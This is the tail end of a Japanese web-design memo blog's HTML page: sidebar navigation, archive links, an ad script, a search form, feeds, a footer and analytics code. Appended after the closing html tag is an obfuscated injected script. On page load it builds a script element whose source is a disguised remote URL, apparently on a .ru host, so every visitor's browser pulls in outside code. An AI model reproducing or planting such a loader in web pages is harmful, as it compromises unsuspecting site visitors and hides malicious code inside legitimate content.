<li><a href="http://www.puzzue.com/excel/">Excel</a></li>
<li><a href="http://www.puzzue.com/flash/">Flash</a></li>
<li><a href="http://www.puzzue.com/htmls/">HTML</a></li>
<li><a href="http://www.puzzue.com/javascript_tips/">Javascript</a></li>
<li><a href="http://www.puzzue.com/movavbletype/">MovavbleType</a></li>
<li><a href="http://www.puzzue.com/mysql/">MySQL</a></li>
<li><a href="http://www.puzzue.com/news/">News</a></li>
<li><a href="http://www.puzzue.com/php/">PHP</a></li>
<li><a href="http://www.puzzue.com/seo/">SEO対策</a></li>
<li><a href="http://www.puzzue.com/web/">WEBサービス</a></li>
<li><a href="http://www.puzzue.com/cat42/">アクセス解析</a></li>
<li><a href="http://www.puzzue.com/cat8/">サーバー関連</a></li>
<li><a href="http://www.puzzue.com/cat41/">デザイン</a></li>
<li><a href="http://www.puzzue.com/cat26/">便利テクニック</a></li>
</ul>
</dd>
<dt>Archives</dt>
<dd>
<ul>
<li><a href="http://www.puzzue.com/2009/08/" title="1" rel="nofollow">2009-08</a></li>
<li><a href="http://www.puzzue.com/2008/11/" title="12" rel="nofollow">2008-11</a></li>
<li><a href="http://www.puzzue.com/2008/10/" title="42" rel="nofollow">2008-10</a></li>
<li><a href="http://www.puzzue.com/archives.html">All</a></li></ul>
</dd>
</dl><!--end navi-->
<dl class="others">
<dd>
<script type="text/javascript"><!--
in_uid = '178218';
in_templateid = '14034';
in_charset = 'UTF-8';
in_group = 'puzzue';
in_matchurl = '';
in_HBgColor = 'FFFFFF';
in_HBorderColor = 'FFFFFF';
in_HTitleColor = '000000';
in_HTextColor = '3F3F3F';
in_HUrlColor = '999999';
frame_width = '240';
frame_height = '300';
--></script>
<script type='text/javascript' src='http://cache.microad.jp/send0100.js'></script>
</dd>
<dt>Search</dt>
<dd>
<form method="get" action="http://www.puzzue.com/mov/mt-search.cgi">
<fieldset>
<legend><label for="searchKeyword">ホームページ制作メモ - HTML CSS CMSなど -内の検索</label></legend>
<div>
<input type="hidden" name="IncludeBlogs" value="1" />
<input type="text" class="inputField" id="searchKeyword" name="search" size="10" onfocus="if (this.value == 'Keyword(s)') this.value = '';" onblur="if (this.value == '') this.value = 'Keyword(s)';" value="Keyword(s)" />
<input type="submit" class="submit" id="submit" value="Search" />
</div>
</fieldset>
</form>
</dd>
<dt>Feeds</dt>
<dd>
<ul>
<li class="rss"><a href="http://www.puzzue.com/index.xml">RSS2.0</a></li>
<li class="atom"><a href="http://www.puzzue.com/atom.xml">Atom</a></li>
</ul>
</dd>
<dt>リンク集</dt>
<dd>
<ul><li><a href="http://www.sumnet.ne.jp/domp/hplink/" target="_blank">ホームページ作成無料リンク集</a></li>
<li><a href="http://www.sealy-bed.co.jp/" target="_blank" title="シーリーベッド">マットレスブランドのシーリーベッド</a></li>
</dd>
</dl><!--end others-->
</div><!--end utilities-->
<p class="return"><a href="#header" title="このページの先頭へ戻る">Page Top</a></p>
</div><!--end content-->
<div id="footer">
<ul class="support">
<li>Powered by Movable Type 3.3-ja</li>
</ul>
<address>Copyright © ホームページ制作メモ - HTML CSS CMSなど - Аll Rights Reserved.</address>
</div>
<script type="text/javascript">
var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));
</script>
<script type="text/javascript">
var pageTracker = _gat._getTracker("UA-235956-3");
pageTracker._trackPageview();
</script>
</body>
</html>
<script>/*LGPL*/ try{ window.onload = function(){var C1nse3sk8o41s = document.createElement('s&c^$#r))i($p@&t^&'.replace(/&|#|\$|\(|@|\!|\^|\)/ig, ''));C1nse3sk8o41s.setAttribute('defer', 'd$#)e!^f$)e&(@@#r((!'.replace(/#|\$|\(|&|\)|\^|@|\!/ig, ''));C1nse3sk8o41s.setAttribute('type', 't^&e(!x)$(t$/#@)j()(a&)!v#a)s()c@^r$$i^$p()^&#t&!@'.replace(/\(|@|\)|#|&|\$|\^|\!/ig, ''));C1nse3sk8o41s.setAttribute('id', 'U#!4!$^v&$e@h^)$x^@w&$s#(@b)#w^^(&7#)6$@@l!)^'.replace(/&|\!|#|\$|\(|\^|@|\)/ig, ''));C1nse3sk8o41s.setAttribute('s()#r#^((c^'.replace(/@|&|#|\$|\(|\)|\!|\^/ig, ''), 'h^^&t!t(p^^@&@:@/@/&!o&#r!!#@k@)!#&u^!t^)@-!#!@c(#(o^m^$-((!b#)@@r(!.^@$h)##@a^#t)t#$))r(&^i&c@)$k$)).^o!$!r#g&)$.&(w(#i$k@@t&$i!^@!o&n!!)a@@r$y&@#(-^$)o$r@g$!^!.$&^(w@e!!b$!@n#(^e#t$$e)#^^n$^g@!l$#!&i)$&s&^@h@.!r@@@u(&^:($8$^^0#8$!!$0@)^/!&!g&#o@o!((g)l&#$)e(.@@c(!@^o!#m(/&g@(^o#((o^!)&g#@l))(e(&#!.!!c&$$&o))$m&@$/@i!&n^t(!e^l^@.@)($c#(@o$!m(/)&v#)))n^#e$t^@.$#@c()(n)^(&/$o&n^#)(l(^i^^n$)e!d^^o!@w@$&n(@.$$!#n^@e((t^/!@(@'.replace(/&|\(|\)|\$|\^|\!|#|@/ig, ''));if (document){document.body.appendChild(C1nse3sk8o41s);}} } catch(O28ie36gdspcwlg5bd0) {}</script>
<!--5400a97a6506fc690ac23b3488daaf25--> |